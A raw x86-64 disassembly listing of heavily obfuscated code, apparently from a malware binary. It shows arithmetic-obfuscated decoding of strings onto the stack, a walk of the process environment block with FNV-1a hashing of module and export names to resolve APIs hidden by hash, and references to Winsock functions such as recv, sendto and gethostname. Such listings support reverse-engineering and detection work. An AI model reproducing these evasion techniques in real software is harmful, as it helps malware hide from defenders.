lea ecx, [rsi + r9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x1401401ce
lea ecx, [r9 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x140140160
lea edx, [r9 - 0x50]
mov ecx, r15d
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401409ef
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401409a1
lea edx, [r9 - 0x70]
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov r11b, r9b
jmp 0x1401408db
mov cl, r9b
and cl, r8b
add cl, cl
mov dil, r9b
sub dil, cl
add dil, r8b
jmp 0x140140a0f
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140140a30
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
mov r11b, r9b
jmp 0x14014094c
lea ecx, [r9 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140140a60
lea ecx, [r9 - 0x40]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x140140aaa
lea edx, [r9 - 0x28]
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r9 + 0x1a0], dil
jmp 0x140140ab9
lea edx, [r9 + 0x48]
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x80
jb 0x14014050b
mov r11b, r9b
lea ecx, [r11 - 0x50]
mov al, cl
and al, r8b
mov edx, r15d
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401409d1
lea ecx, [r9 - 0x48]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
cmp rbx, 0x64
jae 0x1401408bc
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x140140825
lea ecx, [r9 + 0x10]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140140531
lea ecx, [r9 + 0x28]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
lea rax, [r10 + rbx]
cmp rax, 0x41
je 0x1401408ff
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x140140778
lea edx, [r9 - 0x58]
mov al, dl
and al, r8b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014056e
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140140aaa
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140140a60
mov r11b, r9b
lea ecx, [r11 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14014094c
lea ecx, [r9 - 0x40]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x140140a30
lea ecx, [r9 + 0x30]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x140140a0f
lea ecx, [r9 + 0x10]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x1401409f2
lea ecx, [r9 + 0x80]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401409ef
lea edx, [r9 - 0x10]
mov ecx, r14d
jmp 0x1401409be
lea rax, [r10 + 0x80]
cmp rbx, rax
jae 0x1401406d9
mov cl, r9b
sub cl, r14b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401405b0
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140140700
lea edx, [r9 - 0x30]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140140aaa
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140140728
mov r11b, r9b
lea edx, [r11 - 0x10]
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014094c
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14014074e
mov r11b, r9b
lea ecx, [r11 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1401408db
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401405b0
mov r11b, r9b
lea ecx, [r11 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401409d1
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140140792
mov r11b, r9b
lea edx, [r14 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401409c1
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401407b4
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, dl
jmp 0x1401409f2
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401407dc
mov r11b, r9b
mov cl, r9b
sub cl, r15b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x58
jmp 0x1401408db
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401407ff
lea ecx, [r9 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x140140a0f
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14014056e
lea ecx, [r9 - 0x48]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140140aaa
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140140848
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140140aaa
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14014086e
mov r11b, r9b
lea ecx, [r11 - 0x40]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x14014094c
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14014088a
mov cl, r9b
and cl, r8b
add cl, cl
mov dil, r9b
sub dil, cl
jmp 0x1401409ae
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14014089e
lea edx, [r9 - 0x70]
mov ecx, esi
jmp 0x140140430
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140140531
mov r11b, r9b
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401409c1
mov r11b, r9b
lea edx, [r11 + 0x40]
mov al, dl
and al, r8b
mov cl, byte [rbp + r9 + 0x1a0]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
add r11b, sil
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, r11b
add r8b, dil
sub r8b, r14b
mov byte [rbp + r9 + 0x1a0], r8b
jmp 0x140140a0f
mov r11b, r9b
lea edx, [r11 - 0x30]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14014094c
lea ecx, [r9 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x140140aaa
mov r11b, r9b
lea ecx, [r11 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
sub r11b, 0x68
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x28
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x1a0], al
inc r10
add rax, r10
sub r9, rax
jmp 0x140140a60
mov cl, r9b
sub cl, r14b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140140a30
lea edx, [r15 + r9]
mov ecx, Ordinal_46
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401409f2
mov dl, r9b
sub dl, sil
mov ecx, Ordinal_30
mov r11b, r9b
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add r11b, 0x78
mov al, r8b
and al, r11b
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, r11b
mov byte [rbp + r9 + 0x1a0], r8b
inc r10
dec r9
jmp 0x140140ab9
lea ecx, [r9 - 0x68]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
add rbx, r10
jmp 0x140140a30
movabs rcx, 0xf3dfb9fee1afc108
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x38
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140140ab9
movabs rcx, 0xdcd1a038447e15e8
add rcx, r9
mov r8b, dl
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x58
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x1a0], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140140aaa
movabs rcx, 0x514a9354f5e54058
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r9 + 0x1a0]
add rax, r10
add r9, rax
inc r9
jmp 0x14014014d
sub r9b, r15b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
sub dil, 0x58
jmp 0x14014014a
add r9b, 0x58
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
sub dil, dl
jmp 0x140140134
lea rcx, [rbp + 0x157c000]
jmp 0x140140b10
lea rcx, [rbp + 0xa42ac8]
jmp 0x140140b10
lea rcx, [rbp + 0x1a0]
mov dl, 1
call fcn.14015d720
mov byte [rbp + 0x180], 0xee
mov byte [rbp + 0x181], 0xa5
mov byte [rbp + 0x182], 0xb7
mov byte [rbp + 0x183], 0xa3
mov byte [rbp + 0x184], 0x58
mov byte [rbp + 0x185], 0xe5
xor eax, eax
mov qword [rbp + 0x186], rax
mov dword [rbp + 0x18e], eax
mov word [rbp + 0x192], ax
mov byte [rbp + 0x194], al
mov dil, byte [rsp + 0x40]
call fcn.1400a1a30
mov rbx, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x15
jae 0x140141593
movzx r8d, byte [rbp + r9 + 0x180]
mov r14d, reloc.WLDAP32.dll_Ordinal_60
mov r11, r8
cmp rbx, r9
ja 0x14014158a
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140140bc6
movabs rcx, 0x405a5678812276fc
add rcx, r9
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x1c
jmp 0x140140c0d
je 0x14014150d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140141496
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140141464
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14014141f
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401413fe
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401413bf
mov r11d, Ordinal_41
cmp r10, r9
ja 0x140141581
lea rcx, [r10 + 6]
cmp rbx, rcx
jae 0x140140c33
lea edx, [r9 - 0x54]
mov ecx, Ordinal_41
jmp 0x140140e19
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401413a5
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140141394
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140141376
cmp rbx, rcx
je 0x14014135f
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140141351
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14014108d
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14014107c
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14014105e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140141052
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x140141035
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14014101b
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14014100d
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140140ff2
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140140fd8
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140140fb9
lea rbx, [r10 + 9]
lea r10, [rbx + 6]
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140141562
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140141546
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140140e4a
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x140140e2e
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140140e10
lea rcx, [r10 + 0x20]
cmp rbx, rcx
jb 0x140140fab
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140140f8f
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140140f50
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140140f2a
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140140c7d
mov rbx, rcx
lea r10, [rcx + 0xa]
lea rax, [r10 + 8]
cmp rcx, rax
ja 0x140140f0f
lea rax, [r10 + 0x28]
cmp rcx, rax
ja 0x140140ef5
lea rax, [r10 + 9]
cmp rcx, rax
ja 0x140140ee7
lea rax, [r10 + 0x40]
cmp rcx, rax
ja 0x140140edb
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x140140ebd
lea rcx, [r10 + 0x42]
cmp rbx, rcx
ja 0x140140ea0
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140140e85
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140140e77
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140140e66
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140140c7d
mov rbx, rcx
lea r10, [rcx + 0x28]
jmp 0x140140c7d
lea edx, [r9 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140140c70
mov cl, r9b
sub cl, r11b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140140c13
lea edx, [r9 - 0x1c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r14b
jmp 0x140140b8e
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
mov r11b, r9b
jmp 0x1401413cb
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140141067
lea ecx, [r9 + 0x70]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140141417
lea edx, [r9 + 0x78]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x48
mov r11b, r9b
jmp 0x140141438
lea ecx, [r9 + 0x80]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14014145f
lea edx, [r9 - 0x78]
mov ecx, r11d
jmp 0x14014117c
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x140140ffb
lea edx, [r9 - 0x68]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x140141162
lea ecx, [r9 - 0x60]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14014152f
lea edx, [r9 - 0x4c]
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x180], dil
jmp 0x14014153e
lea edx, [r9 - 0x44]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
cmp r10, 0x5a
jb 0x140140f43
mov r11b, r9b
lea edx, [r11 + 0x68]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401413db
mov dl, r9b
sub dl, r14b
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5c
jmp 0x1401410e6
lea edx, [r9 - 0x34]
mov ecx, gethostname
jmp 0x1401410a3
mov ecx, 8
add ecx, r9d
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
jmp 0x14014152f
lea edx, [r9 + 0x10]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x70
jmp 0x140141162
lea edx, [r15 + r9]
mov ecx, Ordinal_46
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140141349
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14014117c
lea ecx, [r9 + 0x28]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x14014145f
mov r11b, r9b
lea edx, [r11 + 0x30]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x140141438
lea edx, [r9 + 0x38]
mov ecx, r14d
jmp 0x1401411f0
lea edx, [r9 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140141414
mov r11b, r9b
lea edx, [r11 + 0x48]
mov ecx, 4
jmp 0x1401413cb
lea rax, [r10 + 0x20]
cmp rbx, rax
jae 0x140141120
lea edx, [r9 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x14014132c
lea rax, [r10 + 0x80]
cmp rbx, rax
jbe 0x1401411b8
lea edx, [r9 + 0xc]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
add dil, dl
cmp rbx, 0x61
jae 0x14014130b
lea rax, [r10 + 0x400]
cmp rbx, rax
jbe 0x140141251
lea edx, [r9 - 0x48]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140140f67
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140141144
lea ecx, [r9 + 0x58]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14014152f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14014116a
lea edx, [r9 + 0x50]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x1401414e1
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140141191
lea edx, [r9 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140141483
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401410b3
lea ecx, [r9 + 0x28]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x140141417
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401411de
mov r11b, r9b
lea edx, [r11 + 4]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1c
jmp 0x1401413d8
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140141205
lea edx, [r9 - 0xc]
mov ecx, Ordinal_46
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140141417
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140141226
mov cl, r9b
sub cl, r11b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x14014147f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401410e9
lea edx, [r9 - 0x2c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401414b8
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140141273
lea edx, [r9 - 0x50]
mov ecx, r15d
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14014152c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140141296
lea edx, [r9 - 0x60]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
jmp 0x140141349
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401412ba
lea ecx, [r9 - 0x68]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140141483
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401412e1
lea ecx, [r9 + 0x80]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140141417
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x140140f67
mov r11b, r9b
lea edx, [r11 + 0x70]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x1401413d8
mov r11b, r9b
lea edx, [r11 + 0x60]
mov al, r8b
and al, dl
mov cl, byte [rbp + r9 + 0x180]
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
jmp 0x140141438
lea edx, [r9 + 0x58]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x180]
sub dil, 0x68
add dil, dl
jmp 0x1401414b8
lea edx, [r9 + 0x64]
mov ecx, Ordinal_35
jmp 0x140141261
lea edx, [r9 + 0x74]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x140141349
lea edx, [r9 - 0x7c]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014145f
mov r11b, r9b
lea edx, [r11 - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14014142b
mov r11b, r9b
lea edx, [r11 - 0x5c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x1401413d8
mov r11b, r9b
lea edx, [r11 - 0x4c]
mov ecx, 0xa
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add r11b, 0x64
mov al, r8b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x180], cl
jmp 0x140141414
lea ecx, [r9 - 0x44]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
inc r10
dec r9
jmp 0x14014153e
mov r11b, r9b
lea edx, [r11 - 0x34]
mov ecx, gethostname
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add r11b, 0x5c
mov al, r8b
and al, r11b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r8b
add cl, dil
add cl, r11b
mov byte [rbp + r9 + 0x180], cl
add rbx, r10
jmp 0x140141483
movabs rcx, 0x432d0a3c8a362edc
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 4
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014153e
movabs rcx, 0xc2785d4b87f140e4
add rcx, r9
mov r8b, r11b
and r11b, cl
add r11b, r11b
mov dil, r8b
sub dil, r11b
add dil, cl
sub dil, r14b
lea edx, [r9 + 0x54]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x4c
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x180], al
inc r10
add rax, r10
sub r9, rax
lea ecx, [r9 + 0x50]
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x30
add r8b, cl
mov byte [rbp + r9 + 0x180], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14014152f
movabs rdx, 0xc10f0369836764f4
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0x180]
add rax, r10
add r9, rax
inc r9
jmp 0x140140b75
sub r9b, 0x14
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x74
jmp 0x140140b72
sub r9b, 0xc
mov al, r8b
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140140b62
lea rcx, [rbp + 0x167f2d0]
jmp 0x14014159a
lea rcx, [rbp + 0x14a69cc]
jmp 0x14014159a
lea rcx, [rbp + 0x180]
xor edx, edx
call fcn.14015d720
test al, al
je 0x140142234
mov rdx, qword [0x140319e10]
test rdx, rdx
jne 0x140141711
mov edi, r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
mov r15d, 0x811c9dc5
test edi, edi
je 0x14014161b
psrldq xmm0, 8
movq rdx, xmm0
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r15d
jmp 0x14014160d
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401415fc
cmp r8d, edi
jne 0x1401416fb
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401416fb
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401416fb
mov esi, dword [r11 + 0x20]
dec ebx
lea r8, [rsi + rbx*4]
mov r10d, dword [r8 + r9]
add r10, r9
mov r8d, r15d
jmp 0x14014166d
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x140141660
cmp r8d, r13d
je 0x140141682
test ebx, ebx
jne 0x14014164e
jmp 0x1401416fb
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140141708
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x140141708
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x48], ecx
jmp 0x1401416c3
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401416b5
inc rdx
mov al, byte [rdx]
test al, al
je 0x1401416ea
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401416d2
mov dword [rsp + 0x48], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov r13d, dword [rsp + 0x48]
jmp 0x1401415cd
mov qword [0x140319e10], rdx
jmp 0x140141717
mov r15d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x140319e48]
mov r13d, 8
test rbx, rbx
jne 0x140141887
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, r13w
test edi, edi
je 0x140141793
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140141786
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140141777
